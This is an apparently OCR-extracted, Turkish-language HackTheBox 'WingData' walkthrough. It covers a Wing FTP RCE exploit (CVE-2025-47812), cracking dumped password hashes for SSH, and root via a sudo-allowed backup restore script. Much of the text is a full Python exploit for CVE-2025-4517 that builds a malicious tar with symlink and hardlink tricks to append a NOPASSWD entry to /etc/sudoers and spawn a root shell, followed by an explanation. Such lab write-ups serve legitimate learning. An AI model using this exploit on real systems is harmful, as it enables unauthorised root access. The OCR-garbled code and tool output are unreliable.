HTB WINGDATA

Merhabalar buglin hackthebox wingdata makinesini ¢ozecegiz
Oncelikle bir port taramasiyla basliyoruz.

Burada tcp ve ssh portlarinin acik oldugunu goériyoruz ve siteye
giriyoruz. Siteye girdikten sonra login kisminin calismadigini fark
ediyoruz ve bir dir taramasi atiyoruz.

Login sayfasinda ftp server karsiliyor ve nano ile ftp.wingdata.hrb yi

host a ekliyoruz.

Buradan login sayfasina giriyoruz ve sayfanin altinda ftp serverin
versiyonunu 0greniyoruz hemen bir arastirmaya cikariyoruz Shell

almak icin.

Shell almak icin exploiti buluyoruz.

CVE-2025-47812

Sonrasinda dinleyici acip python3 ile exploiti ¢calistirtyoruz ve Shell
aliyoruz.
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Burada normalde direk user.txt ile karsilasirdik fakat bu sefer
goremiyoruz. Genel bir arastirmaya cikiyoruz Shell icerisinde
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Burada kullanicilari gériiyoruz ve kullanicilarin sifresini ¢cekebilir miyiz
ona bakacagiz.
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Burada tim kullanicilarin sifrelerini hash olarak ¢ekiyoruz simdi wacky
kullanicisinin sifresini kirip ssh baglantisi alacagiz ¢clinki ssh portu en
basta acikti bunu unutmuyoruz.



) starting

nCL API (OpenCL 3.0 PoCL 6,@+debian inux, NonetAsserts, , SPIR-V, VM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Pl

yrm 21 [The pocl project]

Device #1: a 1-12th Gen Intel(R) 17-12650MH, 3698/76460 MB (1024 M8 allocatable), 7mcu

inimum pas

783994 F8a503ca :WingFTP: {8781lushing " *BrideS

742f8baae76fF5b87 ... ingFTP

Sifremizi hashcat ile kirdik artik ssh baglantisi alacagiz.
Basarili bir ssh baglantisi aldiktan sonra direk user.txt yi ¢cekiyoruz.

Sudo -l ile root yetkisine bakacagiz burada restore komutunu
gorlyoruz ve bunun igin arastirma yapiyoruz.

wackyawingdata:~$
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bi

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Arastirma sonucunda bir exploit goruyoruz.

[ CVE-2025-4517-POC.py

Bu exploiti normal root@kali den zip olarak indirip shellimizde
calistiriyoruz ve bir bakiyoruz ki root olmusuz (bu exploitin kodlarini
ve mantigini asagida inceleyecegim.)
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Bunun sonucunda direk root olduk ve root.txt yi ¢cektik txt cekme
kisimlarini paylasmiyorum.

EXPLOIT INCELEME

Simdi root.txt olmak icin kullandigimiz exploiti inceleyecegim.

#!/usr/bin/env python3



CVE-2025-4517 Privilege Escalation Exploit for WingData HTB
Exploits tarfile symlink bypass via hardlink to write to /etc/sudoers
Author: Based on public PoCs

Target: Python 3.8.0 - 3.13.1 with tarfile filter bypass

import tarfile
import os
importio
import sys

import subprocess

def print_banner():

print(

1
| CVE-2025-4517 Tarfile Exploit - WingData HTB I

|| Privilege Escalation via Symlink + Hardlink Bypass ||

")

def create_exploit_tar(username, output_file):



Creates a malicious tar archive that exploits CVE-2025-4517
to write arbitrary content to /etc/sudoers

print(f"'[*] Creating exploit tar for user: {username}")

# Create deep directory structure to confuse path resolution
comp ="'d"' * 247 # Very long directory name

steps = "abcdefghijklmnop" # 16 levels deep

path =""

# Sudoers entry to add

sudoers_entry = f"{username} ALL=(ALL) NOPASSWD:
ALL\n".encode()

with tarfile.open(output_file, mode="w") as tar:

# Phase 1: Create deep nested directories with symlink loops
print("[*] Phase 1: Building nested directory structure...")
foriin steps:

# Create very long-named directory

a = tarfile.TarInfo(os.path.join(path, comp))

a.type = tarfile.DIRTYPE

tar.addfile(a)



# Create symlink with single letter name pointing to long dir
# This creates a loop: a ->ddd..., b -> ddd..., etc.

b = tarfile.TarInfo(os.path.join(path, i))

b.type = tarfile.SYMTYPE

b.linkname = comp

tar.addfile(b)

path = os.path.join(path, comp)

# Phase 2: Create long symlink chain going up many levels
print("[*] Phase 2: Creating symlink chain for path traversal...")
linkpath = os.path.join("/".join(steps), "I" * 254)

| = tarfile.TarInfo(linkpath)

l.type = tarfile.SYMTYPE

l.linkname ="../" * len(steps) # Go up 16 levels

tar.addfile(l)

# Phase 3: Final escape symlink pointing to /etc
print("[*] Phase 3: Creating escape symlink to /etc...")
e = tarfile.TarInfo("escape")

e.type = tarfile. SYMTYPE

e.linkname = linkpath +"/../../../../..]../..[etc"



tar.addfile(e)

# Phase 4: Create HARDLINK pointing through escape to sudoers
print("[*] Phase 4: Creating hardlink to /etc/sudoers...")

f = tarfile.TarInfo("sudoers_link")

f.type = tarfile.LNKTYPE

f.linkname = "escape/sudoers"

tar.addfile(f)

# Phase 5: Write actual content - goes to hardlinked inode
print("[*] Phase 5: Writing sudoers entry...")

c = tarfile.TarInfo("sudoers_link")

c.type = tarfile.REGTYPE

c.size = len(sudoers_entry)

tar.addfile(c, fileobj=io.ByteslO(sudoers_entry))

print(f"[+] Exploit tar created: {output_file}")

return output_file

def deploy_and_execute(tar_file, backup_id="9999"):

Deploy the exploit tar and execute via the vulnerable script



backup_dir = "/opt/backup_clients/backups"
backup_file = f"backup_{backup _id}.tar"

backup_path = os.path.join(backup_dir, backup_file)

print(f"[*] Deploying exploit to: {backup_path}")

# Copy exploit tar to backup directory

try:
subprocess.run(["cp", tar_file, backup_path], check=True)
print(f"'[+] Exploit deployed successfully")

except subprocess.CalledProcessError:
print(f"[-] Failed to deploy exploit")

return False

# Execute the vulnerable restore script
print(f"'[*] Triggering extraction via vulnerable script...")

restore_dir = f"restore_pwn_{backup_id}"

cmd =
"sudo",
"/usr/local/bin/python3",
"/opt/backup_clients/restore_backup_clients.py",
"-b", backup _file,



"-r", restore_dir

try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
if result.returncode !=0:
print(f"[-] Extraction failed: {result.stderr}")
return False
print("[+] Extraction completed")
return True
except Exception as e:
print(f'[-] Error executing script: {e}")

return False

def verify exploit(username):

Verify that the exploit worked by checking sudoers

print(f"[*] Verifying exploit success...")

try:

result = subprocess.run(



["sudo", "cat", "/etc/sudoers"],
capture_output=True,
text=True,

check=True

if username in result.stdout and "NOPASSWD: ALL" in

result.stdout:

print(f'[+] SUCCESS! User '{username}' added to sudoers")
print(f"'[+] Entry: {username} ALL=(ALL) NOPASSWD: ALL")

return True

else:

print(f'[-] Exploit may have failed - entry not found in

sudoers")
return False
except subprocess.CalledProcessError:

print(f"'[-] Could not verify sudoers file")

return False

def get_root_shell():

Spawn a root shell



print("\n[*] Spawning root shell...")
print("[*] Run: sudo /bin/bash")

os.system("sudo /bin/bash")

def main():

print_banner()

# Get current username
username = os.getenv("USER", "wacky")

print(f"'[*] Target user: {username}")

# Create exploit tar in /tmp
exploit_tar ="/tmp/cve_2025 4517 exploit.tar"

create_exploit_tar(username, exploit_tar)

# Deploy and execute
if not deploy_and_execute(exploit_tar):
print("[-] Exploit failed during deployment/execution")

sys.exit(1)

# Verify success
if verify _exploit(username):

print("\n" + ||=ll*60)



print("[+] EXPLOITATION SUCCESSFUL!")
print(f"[+] User '{username}' now has full sudo privileges")
print("[+] Get root with: sudo /bin/bash")

print("="*6o + ll\nll)

# Offer to spawn root shell
response = input("[?] Spawn root shell now? (y/n): ")
if response.lower() =="y"
get_root_shell()

else:
print("[-] Exploit verification failed")
sys.exit(1)

if _name__ =="_ main__":

try:
main()

except Keyboardinterrupt:
print("\n[!] Interrupted by user")
sys.exit(1)

except Exception as e:
print(f"[-] Unexpected error: {e}")
sys.exit(1)

kullandigimiz exploit bu sira geldi exploiti aciklamaya



1- sudo /usr/local/bin/python3
Jopt/backup_clients/restore_backup_clients.py ... (sudo -
sonucumuz)

2- ilk adim olarak bir cikis escape kapisi olusturuyor.( escape = /etc)

3- ikinci adim olarak hardlink ile hedef dosyaya baglaniyor. Tarin icine
(sudoers_link (hardlink) = escape/sudoers) bunu koyuyor.

4-Artik sudoers_link aslinda /etc/sudoers dosyasinin kendisi.

5- Uciincli adim olarak ayni isimle normal dosya yaziyor(Tar icine
tekrar ayni isimle bir dosya koyuyor:

sudoers_link (normal file))
6-Tar extract olurken ne oluyor?
« Once hardlink olusturuluyor
. Sonra ayni isimle normal dosya yaziliyor
. Ama bu dosya aslinda /etc/sudoers’a bagl
Yani Yazilan icerik direkt /etc/sudoers icine gidiyor.
SONUC: /etc/sudoers dosyasina su satir ekleniyor:
wacky ALL=(ALL) NOPASSWD: ALL bu artik wacky nin her seyi sifresiz

calistirabilecegini gosteriyor.

Bu exploit neden bizi direk root yapti?

Root tar dosyasini agiyor.
Tar icinden istedigin dosyaya yazabiliyorsun.

Linux'ta root olarak dosyaya yazabiliyorsun.






